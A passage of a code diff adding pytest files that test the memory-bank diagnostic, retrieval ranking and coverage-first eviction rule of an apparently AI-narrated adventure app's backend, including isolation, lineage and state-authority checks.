+    "absent_from_summary": True,
+    "absent_from_knowledge": True,
+    "absent_from_later_narration": True,
+    "memory_covering_planting_carries_fact": True,
+    "memory_forgotten": False,
+    "memory_injected": True,
+}
+
+
+def test_every_precondition_and_an_injected_memory_is_the_new_verdict():
+    assert lr._independent_memory_verdict(GOOD) == "recovered_through_memory_independent"
+
+
+@pytest.mark.parametrize("name", lr.INDEPENDENT_PRECONDITIONS)
+def test_a_failed_precondition_is_named_and_never_a_recovery(name):
+    assert lr._independent_memory_verdict({**GOOD, name: False}) == f"precondition_failed:{name}"
+
+
+@pytest.mark.parametrize("name", lr.INDEPENDENT_PRECONDITIONS)
+def test_an_unmeasured_precondition_is_unknown_not_a_pass(name):
+    assert lr._independent_memory_verdict({**GOOD, name: None}) == f"precondition_unknown:{name}"
+
+
+def test_no_planted_depth_is_unknown():
+    assert lr._independent_memory_verdict({**GOOD, "independent_planted_depth": None}) == \
+        "precondition_unknown:planted_depth"
+
+
+@pytest.mark.parametrize("change, verdict", [
+    ({"memory_covering_planting_carries_fact": False}, "not_recovered:not_created"),
+    ({"memory_forgotten": True}, "not_recovered:evicted"),
+    ({"memory_injected": False}, "not_recovered:not_injected"),
+])
+def test_the_failing_memory_stage_is_named(change, verdict):
+    assert lr._independent_memory_verdict({**GOOD, **change}) == verdict
+
+
+def test_preconditions_are_judged_before_memory():
+    """A carried fact disqualifies the run even when memory also failed."""
+    both = {**GOOD, "absent_from_state": False, "memory_covering_planting_carries_fact": False}
+    assert lr._independent_memory_verdict(both) == "precondition_failed:absent_from_state"
+
+
+def test_the_fact_is_matched_as_whole_words():
+    assert lr._mentions_fact("She hid the amber Sundial.")
+    assert lr._mentions_fact("a cracked TEAPOT on the shelf")
+    assert not lr._mentions_fact("teapots")  # a different word, not the fact's
+    assert not lr._mentions_fact("the sun dialled down")
+
+
+def test_the_m04_verdicts_are_unchanged():
+    base = {"planted_turn_in_history_window": False, "in_memories_section": False,
+            "in_summary_section": False, "in_state_section": False}
+    assert lr._m04_verdict(base) == "not_recovered"
+    assert lr._m04_verdict({**base, "in_state_section": True}) == "recovered_through_state_only"
+    assert lr._m04_verdict({**base, "in_memories_section": True}) == \
+        "recovered_through_memory_or_summary"
+    assert lr._m04_verdict({**base, "planted_turn_in_history_window": True}) == \
+        "precondition_not_met"
+
+
+def test_the_independent_fact_is_not_in_any_imported_knowledge_file():
+    for text in (lr.CANON_MD, lr.REFERENCE_MD, lr.INSPIRATION_MD, *lr.BEATS):
+        assert not lr._mentions_fact(text)
+
+
+def test_the_planting_text_and_recall_carry_the_fact():
+    assert lr._mentions_fact(lr.INDEPENDENT_FACT_TEXT)
+    assert lr._mentions_fact(lr.INDEPENDENT_RECALL_TEXT)

backend/tests/test_v11_b1_memory_diagnostic.py

@@ -0,0 +1,434 @@
+"""v1.1 WP-B.1: the memory-retention diagnostic, deterministically.
+
+B.1 changes no memory behaviour. These tests prove two things about the
+diagnostic in `tools/memory_diagnostic.py`:
+
+1. **It measures what it claims.**
+   - The fixture keeps the planted fact out of every layer except memory.
+   - Each stage (created, retained, ranked, injected) is reported from the rows
+     and the recall turn's own stored context.
+   - Its ranking agrees with the selection production stored.
+2. **What it finds on this tree.** The scenarios run with a best-case summariser,
+   one that keeps a fact if and only if the fact reached it. Any failure is
+   therefore the application's mechanism, not a model's writing.
+   - WP-B.1 marked the criteria v1.0.0 did not meet `xfail(strict=True)`. WP-B.2
+     fixed ranking, eviction and the creation excerpt, and those tests are now
+     ordinary passes; the v1.0.0 results are recorded in the WP-B.2 report.
+   - The same file is run unchanged against v1.0.0 for the baseline.
+
+    python -m pytest tests/test_v11_b1_memory_diagnostic.py -v
+"""
+
+import asyncio
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+from sqlalchemy.orm import undefer
+
+from app import auth, limits, memorybank, models
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+from app.routers import adventures
+from tools import memory_diagnostic as md
+
+_results: dict = {}
+
+
+def scenario(name: str) -> dict:
+    """Runs a named scenario once per session and keeps the result."""
+    if name not in _results:
+        _results[name] = md.run_scenario(md.SCENARIOS[name])
+    return _results[name]
+
+
+# ------------------------------------------------------- fixture preconditions
+
+def test_the_fact_is_planted_early_and_recalled_past_depth_one_hundred():
+    result = scenario("independent_default")
+    assert result["plant_depth"] is not None and result["plant_depth"] <= 3
+    assert result["recall_depth"] >= 100
+
+
+@pytest.mark.parametrize("check", ["state_document", "state_snapshots", "later_narration",
+                                   "summary", "knowledge", "recent_history", "state_section"])
+def test_no_layer_but_memory_carries_the_fact(check):
+    """A test where another layer carries F is not evidence about memory."""
+    isolation = scenario("independent_default")["isolation"]
+    assert isolation["checks"][check]["ok"], isolation["checks"][check]
+    assert isolation["ok"]
+
+
+def test_the_isolation_check_fails_when_another_layer_carries_the_fact():
+    """The negative control for the precondition itself: a state fact naming F."""
+    fact = md.FACT_F
+    with SessionLocal() as db:
+        Base.metadata.create_all(bind=engine)
+        try:
+            user = models.User(is_guest=False, email="b1-iso@example.com")
+            db.add(user)
+            db.flush()
+            adventure = models.Adventure(user_id=user.id, title="iso")
+            adventure.narrative_state = {"facts": [{"id": "x", "predicate": "hidden",
+                                                   "value": "the amber sundial is in the teapot"}]}
+            db.add(adventure)
+            db.commit()
+            result = md.isolation(db, adventure, fact, 1)
+            assert result["ok"] is False
+            assert result["checks"]["state_document"]["ok"] is False
+        finally:
+            db.close()
+            Base.metadata.drop_all(bind=engine)
+
+
+# ------------------------------------------------------------------- stages
+
+def test_creation_is_reported_with_the_covering_memory_and_what_the_summariser_saw():
+    created = scenario("independent_default")["diagnosis"]["created"]
+    assert created["yes"] is True
+    assert created["source_start"] <= scenario("independent_default")["plant_depth"] <= created["source_end"]
+    assert md.FACT_F.carried_by(created["memory_text"])
+    covering = [c for c in created["covering_memories"] if c["memory_id"] == created["memory_id"]]
+    assert covering and covering[0]["fact_in_block"] and covering[0]["fact_in_summariser_excerpt"]
+
+
+def test_retention_is_reported_with_the_bank_and_its_eviction_order():
+    retained = scenario("independent_default")["diagnosis"]["retained"]
+    assert retained["yes"] is True and retained["forgotten"] is False
+    assert retained["on_active_lineage"] is True
+    assert retained["active_memories"] <= retained["memory_bank_capacity"]
+    assert retained["eviction_position"] is not None
+
+
+def test_ranking_is_production_ranking_and_agrees_with_the_stored_selection():
+    ranked = scenario("independent_default")["diagnosis"]["ranked"]
+    assert ranked["replica_matches_stored_selection"] is True
+    assert ranked["top_k_cutoff"] == 5
+    assert ranked["yes"] is True and ranked["selected"] is True
+    assert 1 <= ranked["rank"] <= ranked["top_k_cutoff"]
+    # v1.1 WP-B.2: every part of the score is reported, and they add up.
+    assert 0.0 <= ranked["lexical_score"] <= 1.0
+    assert ranked["final_score"] == pytest.approx(
+        ranked["semantic_score"] + memorybank.LEXICAL_WEIGHT * ranked["lexical_score"], abs=2e-4)
+    assert ranked["query"]["input"].endswith(md.SCENARIOS["independent_default"].recall_text)
+
+
+def test_injection_is_read_from_the_recall_turns_own_context():
+    diagnosis = scenario("independent_default")["diagnosis"]
+    assert diagnosis["injected"]["yes"] is True
+    assert diagnosis["injected"]["context_component"] == md.MEMORIES_LABEL
+    assert diagnosis["injected"]["token_count"] > 0
+    assert diagnosis["verdict"] == "injected"
+
+
+def test_ranking_variants_direct_paraphrase_and_unrelated():
+    variants = scenario("independent_default")["ranking_variants"]
+    assert variants["direct"]["rank"] == 1 and variants["direct"]["selected"]
+    assert variants["paraphrase"]["rank"] == 1 and variants["paraphrase"]["selected"]
+    assert (variants["direct"]["final_score"] > variants["paraphrase"]["final_score"]
+            > variants["unrelated"]["final_score"])
+
+
+def test_retrieval_still_fills_top_k_whatever_the_similarity():
+    """There is still no relevance floor: an unrelated question selects a full
+    `memory_top_k`. B.2 changed which memories those are, not how many — the
+    early fact is no longer carried along by an unrelated question."""
+    variants = scenario("independent_default")["ranking_variants"]
+    assert variants["unrelated"]["selected_count"] == 5
+    assert variants["unrelated"]["selected"] is False
+    assert variants["unrelated"]["rank"] > 5
+
+
+# ------------------------------------------------- WP-B.2 ranking acceptance
+
+@pytest.mark.parametrize("name", ["ranking_crowded", "ranking_context_dependent"])
+def test_acceptance_the_early_memory_is_ranked_and_injected_below_capacity(name):
+    """The B.1 ranking failure, made deterministic. On v1.0.0 both fixtures are
+    `retained_but_not_ranked` (ranks 7 and 6 of 17 against a top-k of 4)."""
+    result = scenario(name)
+    assert result["isolation"]["ok"], result["isolation"]
+    diagnosis = result["diagnosis"]
+    assert diagnosis["created"]["yes"] and diagnosis["retained"]["yes"]
+    assert diagnosis["retained"]["active_memories"] <= diagnosis["retained"]["memory_bank_capacity"]
+    assert diagnosis["ranked"]["yes"] and diagnosis["ranked"]["rank"] <= 4
+    assert diagnosis["ranked"]["replica_matches_stored_selection"] is True
+    assert diagnosis["injected"]["yes"] is True
+    assert diagnosis["verdict"] == "injected"
+
+
+def test_the_crowded_fixture_is_won_by_the_players_question():
+    ranked = scenario("ranking_crowded")["diagnosis"]["ranked"]
+    assert ranked["rank"] == 1
+    assert ranked["lexical_score"] > 0  # "sundial" and "amber" are in the question
+
+
+def test_a_paraphrase_is_found_by_meaning_not_by_shared_words():
+    """Lexical matching must not replace semantic retrieval. The paraphrase
+    shares none of F's distinctive words, yet ranks first."""
+    for name in ("ranking_crowded", "independent_default"):
+        paraphrase = scenario(name)["ranking_variants"]["paraphrase"]
+        assert paraphrase["rank"] == 1 and paraphrase["selected"]
+        # Only "Mara" is shared, which is far less than the direct question holds.
+        direct = scenario(name)["ranking_variants"]["direct"]
+        assert paraphrase["lexical_score"] < direct["lexical_score"] / 2
+
+
+def test_a_context_dependent_question_needs_the_scene():
+    """"I ask her what she keeps up there" names nothing F's memory holds. The
+    scene the last narration set up (Mara, the top shelf, a kettle) is what
+    finds it; without that context it ranks last."""
+    result = scenario("ranking_context_dependent")
+    ranked = result["diagnosis"]["ranked"]
+    assert ranked["lexical_score"] == 0.0
+    assert ranked["rank"] <= 4
+    assert "top shelf" in ranked["query"]["context"]
+    assert result["ranking_variants"]["input_only"]["rank"] > 4
+
+
+def test_an_unrelated_rare_word_does_not_outrank_the_relevant_memory():
+    """Negative control: the paraphrase plus a place only one other memory
+    holds. The decoy gains lexical score, and still ranks below F."""
+    for name in ("ranking_crowded", "independent_default"):
+        control = scenario(name)["ranking_variants"]["rare_word_with_paraphrase"]
+        assert control["decoy_lexical_score"] > control["lexical_score"]
+        assert control["rank"] == 1
+        assert control["decoy_rank"] > control["rank"]
+
+
+def test_common_words_contribute_nothing():
+    common = scenario("independent_default")["ranking_variants"]["common_words"]
+    assert common["lexical_score"] == 0.0
+
+
+# ---------------------------------------------------------- capacity/eviction
+
+@pytest.mark.parametrize("name", ["past_capacity", "past_capacity_pinned", "past_capacity_low_top_k"])
+def test_past_capacity_the_early_memory_is_retained(name):
+    """v1.1 WP-B.2. On v1.0.0 all three are `created_but_evicted`: F was the
+    least recently used row once recent narration stopped retrieving it, and
+    went first (turns 21, 21 and 36). Coverage-first eviction keeps the only
+    memory of the opening, so it stays active and is recalled at depth 106."""
+    result = scenario(name)
+    assert result["isolation"]["ok"], result["isolation"]
+    diagnosis = result["diagnosis"]
+    assert diagnosis["created"]["yes"] and diagnosis["retained"]["yes"]
+    assert result["eviction"]["f_evicted_at_turn"] is None
+    # The bank really was past capacity, and stayed bounded.
+    assert result["eviction"]["first_eviction_turn"] is not None
+    assert all(t["active"] <= result["scenario"]["capacity"] + (1 if result["scenario"]["pin_first_memory"] else 0)
+               for t in result["trace"])
+    assert result["trace"][-1]["total"] > result["scenario"]["capacity"]
+
+
+def test_past_capacity_the_bank_still_describes_the_whole_story():
+    """What the rule buys in general, not only for F: the active bank reaches
+    from the opening to the newest block, and no stretch between them goes
+    undescribed for more than twice the average spacing a bank of this capacity
+    can afford (story span / capacity). On v1.0.0 these banks began at depths 36
+    and 18: the opening was simply gone."""
+    for name in ("past_capacity", "past_capacity_low_top_k"):
+        result = scenario(name)
+        cover = result["trace"][-1]["coverage"]
+        assert cover["first_start"] == 0
+        assert cover["last_end"] >= result["recall_depth"] - 2 * memorybank.MEMORY_INTERVAL
+        assert cover["largest_gap"] <= 2 * (cover["last_end"] + 1) / result["scenario"]["capacity"]
+
+
+def test_no_memory_is_evicted_by_the_same_pass_that_created_it():
+    """The frozen-bank regression the v1.0.0 rule fixed, still holding."""
+    for name in ("past_capacity", "past_capacity_pinned", "past_capacity_low_top_k"):
+        assert scenario(name)["eviction"]["created_and_evicted_same_turn"] == []
+
+
+def test_a_pinned_memory_survives_capacity():
+    eviction = scenario("past_capacity_pinned")["eviction"]
+    assert eviction["pinned_memory_id"] is not None
+    assert eviction["pinned_memory_forgotten"] is False
+
+
+def test_acceptance_an_early_fact_is_recalled_from_memory_past_capacity():
+    """Was `xfail(strict=True)` in WP-B.1; B.2 fixed the eviction rule."""
+    for name in ("past_capacity", "past_capacity_pinned", "past_capacity_low_top_k"):
+        assert scenario(name)["diagnosis"]["verdict"] == "injected"
+
+
+# ---------------------------------------------------------- creation window
+
+def test_a_fact_early_in_a_long_block_now_reaches_the_summariser():
+    """v1.1 WP-B.2. On v1.0.0 this block (2,079 tokens) was cut to its last
+    2,000, the fact at its start was never seen, and the stage was
+    `not_created`. The excerpt is now the block's opening and end."""
+    result = scenario("long_block_fact_early")
+    created = result["diagnosis"]["created"]
+    covering = created["covering_memories"]
+    assert covering, "the long block must have been summarised"
+    assert covering[0]["block_tokens"] > memorybank.MEMORY_EXCERPT_TOKENS
+    assert covering[0]["fact_in_block"] is True
+    assert covering[0]["fact_in_summariser_excerpt"] is True
+    assert created["yes"] is True
+    assert created["source_start"] <= result["plant_depth"] <= created["source_end"]
+    assert memorybank.EXCERPT_OMISSION_MARKER not in created["memory_text"]
+
+
+def test_the_same_fact_late_in_the_same_sized_block_does():
+    result = scenario("long_block_fact_late")
+    covering = result["diagnosis"]["created"]["covering_memories"]
+    assert covering[0]["block_tokens"] > memorybank.MEMORY_EXCERPT_TOKENS
+    assert covering[0]["fact_in_summariser_excerpt"] is True
+    assert result["diagnosis"]["created"]["yes"] is True
+
+
+def test_acceptance_a_fact_early_in_a_long_block_is_remembered():
+    """Was `xfail(strict=True)` in WP-B.1; B.2 changed the excerpt."""
+    assert scenario("long_block_fact_early")["diagnosis"]["created"]["yes"] is True
+    assert scenario("long_block_fact_early")["diagnosis"]["verdict"] == "injected"
+
+
+# ------------------------------------------ WP-B.2 full deterministic acceptance
+
+def test_acceptance_full_isolation_holds_on_every_turn():
+    """`independent_full`: long blocks, a crowded query, a bank past capacity.
+    F must be carried by memory alone for the whole run, not only at recall."""
+    result = scenario("independent_full")
+    assert result["plant_depth"] <= 3 and result["recall_depth"] >= 100
+    assert not any(t["f_in_state"] for t in result["trace"])
+    assert not any(t["f_in_summary"] for t in result["trace"])
+    assert result["isolation"]["ok"], result["isolation"]
+    for check in ("state_document", "state_snapshots", "later_narration", "summary",
+                  "knowledge", "recent_history", "state_section"):
+        assert result["isolation"]["checks"][check]["ok"], check
+
+
+def test_acceptance_full_every_stage_passes_past_capacity_with_long_blocks():
+    """On v1.0.0 this fixture fails at creation: every block is over 2,000
+    tokens, and the fact at the start of the first one is never summarised."""
+    result = scenario("independent_full")
+    diagnosis = result["diagnosis"]
+    assert result["trace"][-1]["total"] > result["scenario"]["capacity"]
+    assert diagnosis["created"]["covering_memories"][0]["block_tokens"] > memorybank.MEMORY_EXCERPT_TOKENS
+    assert diagnosis["created"]["yes"] and diagnosis["retained"]["yes"]
+    assert diagnosis["ranked"]["yes"] and diagnosis["ranked"]["replica_matches_stored_selection"]
+    assert diagnosis["injected"]["yes"]
+    assert diagnosis["verdict"] == "injected"
+
+
+def test_acceptance_full_provenance_resolves_to_the_planting_turn():
+    provenance = scenario("independent_full")["provenance"]
+    assert provenance["recorded"] is not None
+    assert provenance["range_covers_plant"] and provenance["matches_row"]
+    assert provenance["source_block_holds_planting"] is True
+    assert provenance["recorded"]["authority"] == memorybank.ACCEPTED_STORY
+
+
+def test_acceptance_full_is_the_long_run_independent_memory_verdict():
+    """The same measurements, judged by the long-run tool's own verdict."""
+    from tools import m11_long_run as lr
+
+    result = scenario("independent_full")
+    checks = result["isolation"]["checks"]
+    diagnosis = result["diagnosis"]
+    verdict = lr._independent_memory_verdict({
+        "independent_planted_depth": result["plant_depth"],
+        "planted_turn_outside_history": checks["recent_history"]["ok"],
+        "absent_from_state": checks["state_document"]["ok"] and checks["state_snapshots"]["ok"]
+        and not any(t["f_in_state"] for t in result["trace"]),
+        "absent_from_summary": checks["summary"]["ok"]
+        and not any(t["f_in_summary"] for t in result["trace"]),
+        "absent_from_knowledge": checks["knowledge"]["ok"],
+        "absent_from_later_narration": checks["later_narration"]["ok"],
+        "memory_covering_planting_carries_fact": diagnosis["created"]["yes"],
+        "memory_forgotten": not diagnosis["retained"]["yes"],
+        "memory_injected": diagnosis["injected"]["yes"],
+    })
+    assert verdict == "recovered_through_memory_independent"
+
+
+# ------------------------------------------------------- lineage control (G)
+
+def test_an_abandoned_lines_memory_is_stored_but_never_eligible_or_injected():
+    g = scenario("lineage_control")["lineage_control"]
+    assert g["memory_ids"], "G's memory must exist on line A before it is abandoned"
+    assert sorted(g["stored"]) == sorted(g["memory_ids"])
+    assert g["eligible_on_active_line"] == []
+    assert g["g_text_ever_in_used_memories"] is False
+    # Any turn that did name G's memory was on line A, before the divergence.
+    assert g["eligible_after_returning_to_line_a"] == g["memory_ids"]
+
+
+def test_the_lineage_scenario_still_diagnoses_f_on_the_active_line():
+    result = scenario("lineage_control")
+    assert result["isolation"]["ok"], result["isolation"]
+    assert result["diagnosis"]["verdict"] == "injected"
+
+
+# ----------------------------------------------------- authority control
+
+@pytest.fixture()
+def authority_client(monkeypatch):
+    embedder = md.ConceptEmbedder()
+    Base.metadata.create_all(bind=engine)
+    memorybank._vector_cache.clear()
+    with SessionLocal() as db:
+        user = models.User(is_guest=False, email="b1-auth@example.com")
+        db.add(user)
+        db.flush()
+        db.add(models.Settings(user_id=user.id, model="script",
+                               endpoint_url="http://127.0.0.1:9/v1",
+                               embedding_model="concept-embed", memory_top_k=5))
+        adventure = models.Adventure(user_id=user.id, title="auth", memory_bank_enabled=True,
+                                     auto_summarize=True)
+        db.add(adventure)
+        db.flush()
+        db.add(models.Action(adventure_id=adventure.id, type="start", text="The tavern at dusk."))
+        db.commit()
+        adv, user_id = adventure.id, user.id
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", md.ScriptNarrator)
+    monkeypatch.setattr(memorybank, "embedding_provider", lambda s: embedder)
+    monkeypatch.setattr(memorybank, "summary_provider", lambda s: md.BestCaseSummariser())
+    monkeypatch.setattr(memorybank, "schedule_post_turn", lambda a: None)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id))
+    client = TestClient(app)
+    client.adv = adv
+    try:
+        yield client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        memorybank._vector_cache.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def test_a_memory_that_contradicts_state_loses_and_changes_nothing(authority_client):
+    client, adv = authority_client, authority_client.adv
+    corrected = client.post(f"/api/adventures/{adv}/state/corrections", json={"events": [
+        {"type": "add_fact", "predicate": "the tavern lamp is lit", "fact_id": "lamp-lit"}]})
+    assert corrected.status_code in (200, 201), corrected.text[:300]
+    made = client.post(f"/api/adventures/{adv}/memories",
+                       json={"text": "The tavern lamp was never lit that night."})
+    assert made.status_code == 201, made.text[:300]
+    client.patch(f"/api/adventures/{adv}/memories/{made.json()['id']}", json={"pinned": True})
+    asyncio.run(memorybank.run_post_turn(adv))  # embed it
+
+    before = client.get(f"/api/adventures/{adv}/state").json()["document"]
+    md.ScriptNarrator.next_reply = 'The fire crackles.\n```state\n{"events": []}\n```'
+    played = client.post(f"/api/adventures/{adv}/actions",
+                         json={"type": "do", "text": "I look at the lamp."})
+    assert played.status_code == 200 and '"type": "error"' not in played.text
+    after = client.get(f"/api/adventures/{adv}/state").json()["document"]
+    assert after == before  # retrieval mutated no state
+
+    with SessionLocal() as db:
+        action = (db.query(models.Action).filter_by(adventure_id=adv, type="ai")
+                  .options(undefer(models.Action.context_snapshot))
+                  .order_by(models.Action.id.desc()).first())
+        snapshot = action.context_snapshot
+    state_text = md._section(snapshot, md.STATE_LABEL)
+    memory_text = md._section(snapshot, md.MEMORIES_LABEL)
+    assert "the tavern lamp is lit" in state_text
+    assert "never lit" in memory_text
+    assert memory_text.startswith("Memories from earlier in the story")
+    labels = [s["label"] for s in snapshot["sections"]]
+    # State is read last of the live sections: it settles the conflict.
+    assert labels.index(md.STATE_LABEL) > labels.index(md.MEMORIES_LABEL)

backend/tests/test_v11_b2_memory_eviction.py

@@ -0,0 +1,277 @@
+"""v1.1 WP-B.2 (B2.2): which memory a full bank lets go of.
+
+v1.0.0 evicted the least recently used memory. B.1 showed that this discards
+the only memory of an early stretch first, because retrieval follows the present
+scene and nothing recent resembles it. `memorybank.eviction_order` now thins the
+bank where it is densest and keeps the opening and the newest stretch, with
+recency as the tie-break and least-recently-used as the fallback.
+
+The scenario-level tests (the planted fact kept past capacity) are in
+`test_v11_b1_memory_diagnostic.py`; the v1.0.0 eviction tests in
+`test_memory_retrieval.py` still pass unchanged, because their memories carry
+no source range and take the fallback.
+
+    python -m pytest tests/test_v11_b2_memory_eviction.py -v
+"""
+
+import random
+from collections import namedtuple
+from datetime import datetime, timedelta
+
+import pytest
+from sqlalchemy import select
+
+from app import memorybank, models, tree
+from app.context import lineage
+from app.database import Base, SessionLocal, engine
+
+T0 = datetime(2026, 1, 1, 12, 0, 0)
+Row = namedtuple("Row", "id pinned source_start source_end last_used_at created_at use_count")
+
+
+def row(id, start, end=None, *, pinned=False, used=None, created=None, uses=0):
+    """A memory as eviction sees it. Times are minutes after T0."""
+    return Row(id, pinned, start, (start + 5) if end is None and start is not None else end,
+               None if used is None else T0 + timedelta(minutes=used),
+               T0 + timedelta(minutes=id if created is None else created), uses)
+
+
+def blocks(n, *, first_id=1):
+    return [row(first_id + i, 6 * i) for i in range(n)]
+
+
+def largest_gap_from_opening(rows):
+    """The longest uncovered run of depths from depth 0 to the last memory."""
+    ordered = sorted((r.source_start, r.source_end) for r in rows)
+    gaps = [ordered[0][0]]
+    reach = ordered[0][1]
+    for start, end in ordered[1:]:
+        gaps.append(max(0, start - reach - 1))
+        reach = max(reach, end)
+    return max(gaps)
+
+
+# ------------------------------------------------------------ the pure order
+
+
+def test_the_opening_and_the_newest_memory_are_kept():
+    bank = blocks(7)
+    doomed = memorybank.eviction_order(bank, 5)
+    assert bank[0].id not in doomed and bank[-1].id not in doomed
+    assert len(doomed) == 5
+
+
+def test_the_densest_stretch_is_thinned_first():
+    # Memories every 6 depths to 30, then a sparse stretch. Removing one of the
+    # dense ones leaves a 6-depth hole; removing a sparse one leaves far more.
+    bank = [row(1, 0), row(2, 6), row(3, 12), row(4, 18), row(5, 60), row(6, 120), row(7, 180)]
+    assert memorybank.eviction_order(bank, 1)[0] in {2, 3, 4}
+    assert set(memorybank.eviction_order(bank, 2)) <= {2, 3, 4}
+
+
+def test_a_stretch_two_memories_describe_loses_one_of_them_first():
+    """A shared start (a re-played stretch, or a sibling line) leaves no hole.
+    Of the two, the less recently used goes, even though a unique memory
+    elsewhere is older and less used than both."""
+    bank = [row(1, 0), row(2, 6, used=5), row(3, 12, used=50), row(4, 12, used=40), row(5, 18)]
+    assert memorybank.eviction_order(bank, 1) == [4]
+
+
+def test_equal_holes_fall_to_the_least_recently_used():
+    bank = [row(1, 0), row(2, 6, used=30), row(3, 12, used=10), row(4, 18, used=20), row(5, 24)]
+    assert memorybank.eviction_order(bank, 1) == [3]
+
+
+def test_a_newborn_can_be_the_legitimate_first_to_go():
+    """The frozen bank is about a newborn losing to a count it cannot have yet.
+    A newborn that only repeats a stretch another memory describes, one used
+    after it was written, is legitimately the first to go."""
+    bank = [row(1, 0), row(2, 6, used=100), row(3, 12), row(4, 6, created=90)]
+    assert memorybank.eviction_order(bank, 1) == [4]
+
+
+def test_the_newest_memory_is_not_evicted_by_the_bank_it_joins():
+    """The frozen-bank regression under the new rule: every older memory has
+    been used, the newborn never has, and it still stays."""
+    bank = [row(i, 6 * (i - 1), used=200 + i, uses=3) for i in range(1, 6)]
+    newborn = row(6, 30, created=300)
+    assert newborn.id not in memorybank.eviction_order(bank + [newborn], 1)
+
+
+def test_pins_are_never_taken_but_still_count_as_coverage():
+    bank = [row(1, 0), row(2, 6, pinned=True), row(3, 12), row(4, 18, pinned=True), row(5, 24)]
+    doomed = memorybank.eviction_order(bank, 10)
+    assert not {2, 4} & set(doomed)
+    # With the pins covering 6 and 18, memory 3's hole is only its own block.
+    assert doomed[0] == 3
+
+
+def test_memories_without_a_range_take_the_least_recently_used_fallback():
+    hand_written = [row(1, None, None, used=30), row(2, None, None, used=10),
+                    row(3, None, None, used=20)]
+    assert memorybank.eviction_order(hand_written, 3) == [2, 3, 1]
+
+
+def test_the_fallback_is_used_only_once_no_interior_memory_remains():
+    bank = [row(1, 0, used=1), row(2, 6, used=90), row(3, 12, used=2),
+            row(10, None, None, used=0)]
+    order = memorybank.eviction_order(bank, 4)
+    assert order[0] == 2  # the interior memory, although recently used
+    assert order[1:] == [10, 1, 3]  # then least recently used
+
+
+def test_the_order_does_not_depend_on_row_order():
+    bank = [row(i, 6 * (i - 1), used=(i * 37) % 11, uses=i % 3) for i in range(1, 30)]
+    bank += [row(40, 12), row(41, 12)]  # a shared start with identical timestamps
+    expected = memorybank.eviction_order(bank, 20)
+    for seed in range(5):
+        shuffled = bank[:]
+        random.Random(seed).shuffle(shuffled)
+        assert memorybank.eviction_order(shuffled, 20) == expected
+
+
+def test_a_tie_on_every_signal_is_broken_by_id():
+    bank = [row(1, 0), row(9, 6, created=0), row(4, 12, created=0), row(20, 18)]
+    assert memorybank.eviction_order(bank, 1) == [4]
+
+
+@pytest.mark.parametrize("seed", range(8))
+def test_capacity_holds_and_pins_survive_for_any_bank(seed):
+    rng = random.Random(seed)
+    bank = []
+    for i in range(1, rng.randint(2, 60)):
+        start = None if rng.random() < 0.15 else rng.randrange(0, 400)
+        bank.append(row(i, start, None if start is None else start + rng.choice([3, 5, 8]),
+                        pinned=rng.random() < 0.1, used=rng.choice([None, rng.randrange(500)]),
+                        uses=rng.randrange(4)))
+    capacity = rng.randint(1, 30)
+    overflow = len(bank) - capacity
+    doomed = memorybank.eviction_order(bank, max(0, overflow))
+    pinned = {r.id for r in bank if r.pinned}
+    assert not pinned & set(doomed)
+    assert len(set(doomed)) == len(doomed)
+    remaining = len(bank) - len(doomed)
+    assert remaining == max(capacity, len(pinned)) if overflow > 0 else remaining == len(bank)
+
+
+@pytest.mark.parametrize("n, capacity, irregular", [(60, 10, False), (500, 80, False), (500, 80, True)])
+def test_a_long_bank_keeps_describing_the_whole_story(n, capacity, irregular):
+    """The general property, with nothing ever retrieved: memories arrive one
+    block at a time and the bank is kept at capacity. The opening stays, and no
+    stretch goes undescribed for more than twice the average spacing. Least
+    recently used order, on the same arrivals, keeps only the newest stretch."""
+    rng = random.Random(n)
+    kept, lru = [], []
+    depth = 0
+    for i in range(1, n + 1):
+        size = rng.choice([4, 6, 6, 9]) if irregular else 6
+        memory = row(i, depth, depth + size - 1)
+        depth += size
+        kept.append(memory)
+        lru.append(memory)
+        if len(kept) > capacity:
+            doomed = set(memorybank.eviction_order(kept, len(kept) - capacity))
+            kept = [m for m in kept if m.id not in doomed]
+            lru = sorted(lru, key=lambda m: (m.created_at, m.id))[len(lru) - capacity:]
+    assert len(kept) == capacity
+    assert min(m.source_start for m in kept) == 0
+    assert max(m.id for m in kept) == n
+    assert largest_gap_from_opening(kept) <= 2 * depth / capacity
+    assert largest_gap_from_opening(lru) > depth / 2  # v1.0.0 order: the opening is gone
+
+
+# --------------------------------------------------------- on real rows
+
+
+@pytest.fixture()
+def db():
+    Base.metadata.create_all(bind=engine)
+    memorybank._vector_cache.clear()
+    session = SessionLocal()
+    try:
+        yield session
+    finally:
+        session.close()
+        memorybank._vector_cache.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+@pytest.fixture()
+def adventure(db):
+    user = models.User(is_guest=False, email="b2-evict@example.com")
+    db.add(user)
+    db.flush()
+    settings = models.Settings(user_id=user.id, model="m", embedding_model="e",
+                               memory_bank_capacity=3)
+    adv = models.Adventure(user_id=user.id, title="Evict", script_state={}, memory_bank_enabled=True)
+    db.add_all([settings, adv])
+    db.commit()
+    adv.settings_row = settings
+    return adv
+
+
+def test_the_pass_changes_nothing_but_forgotten(db, adventure):
+    for i in range(6):
+        memory = models.Memory(adventure_id=adventure.id, text=f"block {i}",
+                               source_start=6 * i, source_end=6 * i + 5, branch_id=None, depth=6 * i + 5)
+        db.add(memory)
+    db.commit()
+    columns = (models.Memory.id, models.Memory.text, models.Memory.source_start,
+               models.Memory.source_end, models.Memory.branch_id, models.Memory.depth,
+               models.Memory.pinned, models.Memory.use_count, models.Memory.last_used_at)
+    before = {r.id: tuple(r) for r in db.execute(select(*columns)).all()}
+    memorybank._evict_over_capacity(adventure, adventure.settings_row, db)
+    after = {r.id: tuple(r) for r in db.execute(select(*columns)).all()}
+    assert before == after
+    active = db.execute(select(models.Memory.id).where(models.Memory.forgotten.is_(False))).scalars().all()
+    assert len(active) == 3
+    assert min(active) == min(before) and max(active) == max(before)  # the boundaries
+
+
+def test_eviction_does_not_make_an_abandoned_lines_memory_eligible(db, adventure):
+    """Eviction and lineage are separate: the pass decides only `forgotten`, so
+    a memory on a line the story left is exactly as ineligible afterwards."""
